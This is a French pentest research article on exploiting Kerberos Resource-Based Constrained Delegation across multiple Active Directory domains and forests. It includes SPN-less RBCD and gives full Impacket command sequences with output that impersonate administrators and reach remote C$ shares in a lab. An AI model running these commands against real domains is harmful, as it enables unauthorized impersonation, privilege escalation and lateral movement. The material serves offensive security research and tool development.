Incident de sécurité ? Suspicion de compromission ? 09 71 18 27 69csirt@synacktiv.com

Exploiter la RBCD en environnements cross-domain & cross-forest : partie 2

Rédigé par Yann Razafimahefa - 02/07/2026 - dans Pentest - Téléchargement

Le support de la délégation Kerberos côté Linux a été étendu afin de pouvoir emprunter une identité arbitraire au sein d'une même forêt. Cette identité peut être ensuite utilisée pour accéder à une ressource dans n'importe quel domaine de cette forêt ou d'une forêt distante, dès lors que les droits de délégation l'autorisent et qu'une relation de confiance existe. Ce nouvel article détaille les échanges de délégation Kerberos récursifs sur un nombre de domaines quelconques. Enfin, l'attaque RBCD SPN-less est présentée dans un contexte inter-domaines et inter-forêts.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Suite à notre publication sur l'attaque par Resource-Based Constrained Delegation (RBCD) dans un environnement inter-domaines ou inter-forêts, nous avons cherché à étendre les possibilités de cette dernière.

En effet, nous nous sommes intéressés à la délégation dans un environnement avec plusieurs domaines (3 et plus). Cela nous a permis de constater qu'il était possible d'emprunter l'identité de n'importe quel utilisateur présent dans sa forêt grâce à la relation de confiance parent-fils transitive par défaut, que l'on souhaite accéder à une ressource dans cette même forêt ou dans une forêt distante, dès lors qu'une relation de confiance existe également entre celles-ci.

Enfin, nous avons pu nous pencher sur les attaques RBCD SPN-less dans des scénarios avec plusieurs domaines. En théorie, si le ticket obtenu suite à la demande S4U2Self+U2U dispose du drapeau forwardable et que le condensat NT de l'utilisateur est modifié avec la clé de session RC4-HMAC utilisée pour chiffrer ce ticket, celui-ci devrait être accepté lors de S4U2Proxy.

Ces deux axes de recherche nous ont permis d'implémenter les délégations S4U2Self[+U2U] et S4U2Proxy de manière récursive et indépendante au sein d'Impacket afin de compléter les scénarios manquants inter-domaines et inter-forêts.

Implémentation S4U2Self[+U2U] récursive

Comme l'indique la documentation Microsoft 4.2 S4U2self Multiple Realm Example, la délégation S4U2Self sur plusieurs domaines serait un enchaînement de S4U2Self en partant du domaine de l'utilisateur dont on souhaite emprunter l'identité, jusqu'au domaine de l'utilisateur effectuant la demande de délégation, en suivant la chaîne de confiance établie entre les contrôleurs de domaines : « If there are more TGSs involved in the referral chain, steps 3 and 4 will be repeated to follow the chain ».

Pour rappel, dans un scénario inter-forêts, il est uniquement possible d'emprunter l'identité d'un utilisateur de notre forêt (voir le cas de la RBCD cross-forest dans l'article précédent). Ainsi, dans tous les cas, la délégation S4U2Self se fera à travers les différents domaines de notre forêt.

Afin de confirmer les échanges, nous avons mis en place un environnement avec 4 domaines parent-fils :

  • frperso.local
  • sub.frperso.local
  • minus.sub.frperso.local
  • lowest.minus.sub.frperso.local

En nous servant une fois de plus de System.IdentityModel avec Windows, le compte machine frperso-02$.frperso.local, via NT AUTHORITY\SYSTEM, demande à emprunter l'identité de Administrator@lowest.minus.sub.frperso.local :

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
PS C:\Windows\system32> $Identity = New-Object System.Security.Principal.WindowsIdentity @('Administrator@lowest.minus.sub.frperso.local')
PS C:\Windows\system32>

Côté Wireshark, nous avons pu observer les échanges importants suivants :

S4U2Self avec quatre domaines parent-fils.
S4U2Self avec quatre domaines parent-fils.

Comme on peut le constater, S4U2Self est effectué uniquement avec le domaine de l'utilisateur dont nous souhaitons emprunter l'identité (1) et notre domaine (4). Dans l'intervalle, des requêtes TGS-REQ simples (2 et 3) sont réalisées avec le SPN krbtgt vers le domaine de l'utilisateur qui effectue la demande de délégation (krbtgt/FRPERSO.LOCAL).

Pour résumer, nous avons donc les cas suivants :

  • Un seul domaine : S4U2Self vers celui-ci.
  • Deux domaines : S4U2Self vers le domaine cible puis S4U2Self vers notre domaine (cas présenté dans l'article précédent).
  • Trois domaines et plus : S4U2Self vers le domaine cible, TGS-REQ avec les domaines de la chaîne de confiance puis S4U2Self vers notre domaine.

À chaque fois, le ticket précédemment obtenu sert de TGT pour les requêtes suivantes, celui-ci transportant l'identité de l'utilisateur dont nous empruntons l'identité au sein de son PAC.

Intéressons-nous maintenant au cas de S4U2Self+U2U. Pour rappel, ce type de demande est un prérequis pour effectuer l'attaque RBCD SPN-less. En effet, si nous utilisons uniquement S4U2Self de manière récursive, la dernière requête vers notre domaine entraînera une erreur KDC_ERR_S_PRINCIPAL_UNKNOWN, l'utilisateur ne disposant pas de SPN.

Ainsi, lorsque l'utilisateur Administrator@frperso.local demande à emprunter l'identité de Administrator@lowest.minus.sub.frperso.local, nous obtenons les requêtes suivantes :

S4U2Self+U2U avec quatre domaines parent-fils.
S4U2Self+U2U avec quatre domaines parent-fils.

Les échanges sont donc identiques à S4U2Self sans U2U, jusqu'à l'obtention de l'erreur KDC_ERR_S_PRINCIPAL_UNKNOWN (réponse à la requête 4). Cela permet au client d'identifier que l'utilisateur effectuant la demande de délégation ne dispose pas de SPN et de réitérer la requête S4U2Self avec U2U (5).

Après analyse des différents cas, nous avons pu établir le diagramme suivant des échanges S4U2Self[+U2U] récursifs :

S4U2Self[+U2U] récursif avec N-domaines.
S4U2Self[+U2U] récursif avec N-domaines.

Ces échanges ont été implémentés ici. Nous sommes donc en capacité d'emprunter l'identité de n'importe quel utilisateur de notre forêt vers nous-même.

Ceci peut être utile par exemple si l'on dispose d'un compte machine et que l'utilisateur ayant les droits d'administration sur celle-ci appartient à un autre domaine (élévation locale de privilèges). Supposons que nous ayons en notre possession un TGT pour le compte machine min-frperso-01$.minus.sub.frperso.local et que le seul administrateur autorisé à se connecter sur celle-ci soit Administrator@frperso.local, nous pouvons obtenir un accès administrateur à son partage réseau avec les nouvelles commandes suivantes :

$ KRB5CCNAME=MIN-FRPERSO-01\$.ccache getST.py 'minus.sub.frperso.local/MIN-FRPERSO-01$' -k -no-pass -impersonate Administrator@frperso.local -self -altservice cifs/min-frperso-01.minus.sub.frperso.local
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Requesting S4U2self to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Changing service from MIN-FRPERSO-01$@MINUS.SUB.FRPERSO.LOCAL@MINUS.SUB.FRPERSO.LOCAL to cifs/min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache smbclient.py frperso.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

Si nous disposons du mot de passe du compte machine, il est évidemment possible de forger un ticket avec une identité arbitraire pour élever nos privilèges sur celle-ci, mais dans le cas où nous aurions uniquement un TGT, cette méthode pourrait être la seule possibilité d'exploitation.

L'obtention d'un ticket via S4U2Self+U2U est réalisable avec la commande suivante (Administrator@frperso.local demande à emprunter l'identité de Administrator@minus.sub.frperso.local) :

$ getST.py 'frperso.local/Administrator:***' -impersonate Administrator@minus.sub.frperso.local -self -u2u       
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in Administrator.ccache
[*] Requesting TGS-REQ for krbtgt/MINUS.SUB.FRPERSO.LOCAL to FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self+U2U to FRPERSO.LOCAL
[*] Saving ticket in Administrator@minus.sub.frperso.local@Administrator@FRPERSO.LOCAL@FRPERSO.LOCAL.ccache

Regardons maintenant la deuxième partie de l'attaque RBCD, à savoir S4U2Proxy.

Implémentation S4U2Proxy récursive

Comme nous avons pu le constater avec deux domaines dans l'article précédent, l'algorithme S4U2Proxy diffère avec l'utilisation du drapeau branch-aware dès lors que le domaine de confiance appartient à une autre forêt. Nous avons donc mis en place l'environnement composé des deux forêts frperso.local, avec ses domaines fils vus précédemment, et frpublic.local, toutes deux disposant d'une relation de confiance bidirectionnelle :

  • frpublic.local
  • frperso.local
  • sub.frperso.local
  • minus.sub.frperso.local

L'utilisation d'une 3ᵉ forêt n'est pas pertinente étant donné que les relations de confiance entre celles-ci ne sont pas transitives. En effet, l'utilisateur de la 1ʳᵉ forêt ne sera pas autorisé à accéder aux ressources de la 3ᵉ forêt, à moins qu'une relation de confiance directe soit établie entre celles-ci, mais dans ce cas nous retombons sur le scénario de départ.

Commençons donc par le compte machine frpublic-02$.frpublic.local, via NT AUTHORITY\SYSTEM, souhaitant accéder à un partage réseau sur la machine min-frperso-01$.minus.sub.frperso.local. Ce dernier est autorisé à emprunter l'identité de n'importe quel utilisateur de sa forêt (frpublic.local) pour y accéder (attribut msDS-AllowedToActOnBehalfOfOtherIdentity configuré sur le compte machine min-frperso-01$.minus.sub.frperso.local de l'annuaire LDAP avec le SID de frpublic-02$). Nous avons ajouté l'utilisateur Administrator@frpublic.local dans le groupe Administrators de la machine min-frperso-01$.minus.sub.frperso.local, et il s'agira du compte dont l'identité sera empruntée.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
PS C:\Windows\system32> $Identity = New-Object System.Security.Principal.WindowsIdentity @('Administrator@frpublic.local')
PS C:\Windows\system32> $Context = $Identity.Impersonate()
PS C:\Windows\system32> ls \\min-frperso-01.minus.sub.frperso.local\C$

Nous passons volontairement les échanges S4U2Self puisque ces derniers ont déjà été couverts précédemment. Nous obtenons ainsi les requêtes suivantes :

S4U2Proxy branch-aware avec quatre domaines – dont deux forêts.
S4U2Proxy branch-aware avec quatre domaines – dont deux forêts.

Comme vu dans l'article précédent, les échanges commencent avec un S4U2Proxy sur notre contrôleur de domaine (1) et le ticket additionnel obtenu via S4U2Self[+U2U] dans le corps de la requête. Ensuite, vient le S4U2Proxy toujours sur notre contrôleur de domaine, avec le drapeau branch-aware, sans ticket additionnel (2).

S'ensuivent des requêtes alternant successivement TGS-REQ et S4U2Proxy jusqu'au domaine de la ressource ciblée, avec le ticket précédemment obtenu comme TGT (3, 4 et 5). Nous avons constaté que ces étapes permettent d'obtenir le ticket inter-domaines (réponse à la requête 4) qui sera utilisé en tant que TGT lors de la toute dernière demande S4U2Proxy (8). Nous pouvons l'appeler Referral TGT.

Avant cela, plusieurs échanges S4U2Proxy sont à nouveau réalisés (6 et 7) en suivant la chaîne de confiance avant le domaine de la ressource ciblée (frperso.local jusqu'à sub.frperso.local). De plus, ces requêtes sont effectuées avec un SPN pour krbtgt sur le domaine de la ressource ciblée (krbtgt/MINUS.SUB.FRPERSO.LOCAL).

Le dernier ticket obtenu (réponse à la requête 7) est utilisé en tant que ticket additionnel pour la demande S4U2Proxy finale sur le domaine de la ressource ciblée (8). Le TGT utilisé pour cette requête (8) est, comme expliqué précédemment, le Referral TGT.

Mis bout à bout, cela donne le diagramme suivant :

S4U2Proxy branch-aware récursif avec N-domaines.
S4U2Proxy branch-aware récursif avec N-domaines.

Pour simplifier, nous avons donc les cas suivants :

  • Un seul domaine : S4U2Proxy vers celui-ci.
  • Deux domaines : S4U2Proxy + S4U2Proxy branch-aware vers notre domaine, S4U2Proxy vers le domaine cible (cas présenté dans l'article précédent).
  • Trois domaines et plus : S4U2Proxy + S4U2Proxy branch-aware vers notre domaine, enchaînement de TGS-REQ et S4U2Proxy en suivant la chaîne de confiance jusqu'au domaine cible (récupération du Referral TGT), enchaînement de S4U2Proxy en suivant la chaîne de confiance (récupération du ticket additionnel), S4U2Proxy final vers le domaine cible.

Regardons enfin le dernier cas, S4U2Proxy inter-domaines. Dans ce scénario, nous allons également tenter de traverser une forêt (frpublic.local) en fin de chaîne afin d'identifier si cela a une incidence sur l'algorithme utilisé (branch-aware ou non). Ainsi, le compte machine min-frperso-01$.minus.sub.frperso.local, via NT AUTHORITY\SYSTEM, demande à emprunter l'identité de Administrator@frperso.local (pour rappel nous pouvons emprunter l'identité de n'importe quel utilisateur de notre forêt) pour accéder au partage réseau de frpublic-01$.frpublic.local. Les droits de délégation via msDS-AllowedToActOnBehalfOfOtherIdentity ont été une fois de plus définis en conséquence et l'utilisateur Administrator@frperso.local ajouté au groupe Administrators de la machine frpublic-01$.

Les requêtes suivantes ont été identifiées :

S4U2Proxy avec quatre domaines parent-fils.
S4U2Proxy avec quatre domaines parent-fils.

Le premier constat est que l'algorithme avec branch-aware n'est pas utilisé et le passage à travers le domaine d'une autre forêt n'implique donc pas son utilisation, tant que ce domaine n'est pas le premier dans la chaîne de confiance.

Pour résumer ici, il s'agit d'un enchaînement de S4U2Proxy en suivant la chaîne de confiance jusqu'au domaine de la ressource ciblée (1, 3, 5 et 7). Le S4U2Proxy vers notre domaine (1) utilise comme ticket additionnel celui obtenu via S4U2Self[+U2U]. Celui vers le domaine de la ressource ciblée (7), le ticket obtenu via le S4U2Proxy précédent (5). Les S4U2Proxy intermédiaires (3 et 5) n'utilisent pas de ticket additionnel, uniquement comme TGT le ticket obtenu via le S4U2Proxy précédent, et un SPN pour krbtgt vers le domaine de la ressource ciblée (krbtgt/FRPUBLIC.LOCAL).

En parallèle, des requêtes TGS-REQ simples sont effectuées (2, 4 et 6) avec comme TGT le ticket obtenu via la requête TGS-REQ précédente, ou AS-REQ pour la requête 2, et un SPN pour krbtgt vers le domaine de la ressource ciblée (krbtgt/FRPUBLIC.LOCAL).

Après analyse des différents échanges, le diagramme suivant a été établi :

S4U2Proxy récursif avec N-domaines.
S4U2Proxy récursif avec N-domaines.

Ces deux algorithmes ont été implémentés de manière récursive dans Impacket. Combinés avec S4U2Self[+U2U], ils nous permettent d'emprunter l'identité de n'importe quel utilisateur de notre forêt vers une ressource de notre forêt, ou d'une forêt différente. Suite à nos différents tests, nous avons constaté que l'algorithme sans branch-aware était également fonctionnel quand bien même le 1er domaine de confiance traversé s'avère être dans une autre forêt. Néanmoins, l'algorithme utilisé côté Microsoft est celui avec branch-aware, et devrait donc être préféré si le but est de reproduire au plus près un comportement légitime.

Peu importe l'utilisateur de notre forêt ayant les droits d'administration sur la ressource distante, nous sommes maintenant en mesure d'emprunter son identité, sous réserve que celui-ci ne soit pas protégé contre la délégation (groupe Protected Users et attribut LDAP userAccountControl avec NOT_DELEGATED - option Account is sensitive and cannot be delegated).

Testons les deux cas RBCD présentés précédemment. Premièrement, avec l'algorithme branch-aware (option -forest d'Impacket), frpublic-02$@frpublic.local souhaite emprunter l'identité de Administrator@frpublic.local pour accéder au partage réseau de la machine min-frperso-01$.minus.sub.frperso.local :

$ getST.py 'frpublic.local/frpublic-02$' -aesKey '***' -impersonate Administrator@frpublic.local -proxydomain minus.sub.frperso.local -spn cifs/min-frperso-01.minus.sub.frperso.local -forest
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in frpublic-02$.ccache
[*] Requesting S4U2self to FRPUBLIC.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Requesting S4U2Proxy with branch-aware to FRPUBLIC.LOCAL
[*] Requesting TGS-REQ for cifs/min-frperso-01.minus.sub.frperso.local to FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for cifs/min-frperso-01.minus.sub.frperso.local to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to MINUS.SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frpublic.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache

$ KRB5CCNAME=Administrator@frpublic.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache smbclient.py frpublic.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

Ensuite, sans l'algorithme branch-aware, min-frperso-01$@minus.sub.frperso.local demande à emprunter l'identité de Administrator@frperso.local pour accéder au partage réseau de la machine frpublic-01$.frpublic.local :

$  getST.py 'minus.sub.frperso.local/min-frperso-01$' -aesKey '***' -impersonate Administrator@frperso.local -proxydomain frpublic.local -spn cifs/frpublic-01.frpublic.local 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in min-frperso-01$.ccache
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Requesting S4U2self to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache smbclient.py frperso.local/Administrator@frpublic-01.frpublic.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

Comme indiqué auparavant, les deux variantes de l'algorithme S4U2Proxy fonctionnent, que le domaine suivant dans la chaîne de confiance fasse partie d'une autre forêt ou non. Cependant, côté Windows, c'est l'algorithme avec branch-aware qui est utilisé quand c'est le cas.

RBCD SPN-less sur plusieurs domaines

Maintenant que nous avons implémenté S4U2Self+U2U et S4U2Proxy de manière récursive et indépendante, nous devrions être en capacité d'effectuer l'attaque RBCD SPN-less inter-domaines de façon transparente, comme si cela était effectué sur un seul domaine.

Pour ce faire, avec l'utilisateur Administrator@sub.frperso.local, nous allons tenter d'emprunter l'identité de Administrator@frperso.local pour accéder au partage réseau de la machine frpublic-01$.frpublic.local. Le compte Administrator@frperso.local est présent dans le groupe Administrators de la machine frpublic-01$ et le SID de Administrator@sub.frperso.local a été ajouté sur l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity de celle-ci.

Pour rappel, il est important de forcer le contrôleur de domaine à utiliser l'algorithme RC4-HMAC (type 23) pour la génération de la clé de session. Avec Impacket, cela passe par l'authentification de l'utilisateur Administrator@sub.frperso.local via son condensat NT.

Note 1 : Nous avons constaté sur des contrôleurs de domaine récents (Windows Server 2022 et 2025) que ces derniers refusaient de retourner un ticket de service dès lors que l'algorithme RC4-HMAC était utilisé (chiffrement du TGT et du champ authenticator) avec l'erreur KDC_ERR_ETYPE_NOSUPP, et ce quand bien même le support de l'algorithme AES était annoncé dans le corps de la requête. Ceci est probablement lié au fait que Microsoft retire progressivement le support de RC4 au niveau de Kerberos : Détecter et corriger l’utilisation de RC4. Dans ce contexte, il paraît impossible d'exploiter l'attaque RBCD SPN-less.

Note 2 : Modifier le mot de passe de l'utilisateur en soumettant directement un nouveau condensat NT (via SamrChangePasswordUser) ne permet pas de mettre à jour ses clés Kerberos. Il est par la suite impossible de demander un TGT ou un ticket de service pour lui-même (S4U2Self+U2U) via AES. Il est donc préférable dans le cadre de l'attaque RBCD SPN-less d'effectuer S4U2Self+U2U avant de modifier le mot de passe de l'utilisateur.

Nous commençons par récupérer un TGT et le ticket de délégation via S4U2Self+U2U :

$ getST.py sub.frperso.local/Administrator -hashes ":d91***" -impersonate Administrator@frperso.local -self -u2u
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in Administrator.ccache
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2self+U2U to SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache

On récupère ensuite la clé de session du TGT :

$ describeTicket.py Administrator.ccache
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : afa***
[*] User Name                     : Administrator
[*] User Realm                    : SUB.FRPERSO.LOCAL
[*] Service Name                  : krbtgt/SUB.FRPERSO.LOCAL
[*] Service Realm                 : SUB.FRPERSO.LOCAL
[...]
[*] KeyType                       : rc4_hmac
[...]

Le ticket de délégation est donc chiffré avec la clé de session afa***. Le mot de passe de l'utilisateur Administrator@sub.frperso.local est ainsi modifié avec cette dernière à l'aide de changepasswd.py :

$ changepasswd.py sub.frperso.local/Administrator@sub-frperso-01.sub.frperso.local -hashes ":d91***" -newhashes afa***
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of sub.frperso.local\Administrator
[*] Connecting to DCE/RPC as sub.frperso.local\Administrator
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).

Il ne nous reste plus qu'à effectuer S4U2Proxy avec comme ticket additionnel le ticket obtenu via S4U2Self+U2U. Le mot de passe de l'utilisateur Administrator@sub.frperso.local ayant été modifié, et le ticket additionnel disposant du drapeau forwardable, celui-ci est accepté par le contrôleur de domaine lors du premier S4U2Proxy, et nous obtenons à la fin un ticket de service pour nous connecter au partage réseau de frpublic-01$.frpublic.local :

$ describeTicket.py Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache --rc4 afa*** 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[...]
[*] Flags                         : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[...]
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : Administrator@SUB.FRPERSO.LOCAL
[*]   Service Realm               : SUB.FRPERSO.LOCAL
[*]   Encryption type             : rc4_hmac (etype 23)
[*] Decoding credential[0]['ticket']['enc-part']:
[...]
[*]   UpnDns                      
[*]     Flags                     : (2) S_SidSamSupplied
[*]     UPN                       : Administrator@FRPERSO.local
[*]     DNS Domain Name           : FRPERSO.LOCAL
[*]     SamAccountName            : Administrator
[*]     UserSid                   : S-1-5-21-3254739159-4020314205-3578832438-500

$ KRB5CCNAME=Administrator.ccache getST.py sub.frperso.local/Administrator -k -no-pass -impersonate Administrator@frperso.local -proxy -proxydomain frpublic.local -spn cifs/frpublic-01.frpublic.local -additional-ticket Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Using additional ticket
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache smbclient.py frperso.local/Administrator@frpublic-01.frpublic.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

L'algorithme branch-aware s'utilise de la même manière, en fournissant le ticket obtenu via S4U2Self+U2U comme ticket additionnel pour S4U2Proxy avec l'option -forest. Si aucun argument spécifique n'est fourni pour isoler S4U2Self (option -self) ou S4U2Proxy (option -proxy), les deux étapes sont réalisées successivement par défaut. Néanmoins, dans le cas d'une attaque RBCD SPN-less, il reste nécessaire d'exécuter ces étapes séparément.

Conclusion

Suite à ces recherches, nous sommes maintenant en mesure d'exploiter la délégation Kerberos, quel que soit l'utilisateur de notre forêt disposant des droits d'administration sur la ressource cible et dont nous souhaitons emprunter l'identité.

Bien que l'utilisateur disposant de tels droits appartienne habituellement au même domaine, ce type de configuration s'est déjà présenté lors de nos expériences passées.

Enfin, nous avons pu valider l'exécution de RBCD SPN-less sur plusieurs domaines, et donc finalement reproduire de manière transparente les mêmes attaques déjà bien connues au sein d'un même domaine. L'outillage côté Linux a ainsi été étendu afin d'être en capacité d'exploiter les différentes situations de délégation Kerberos.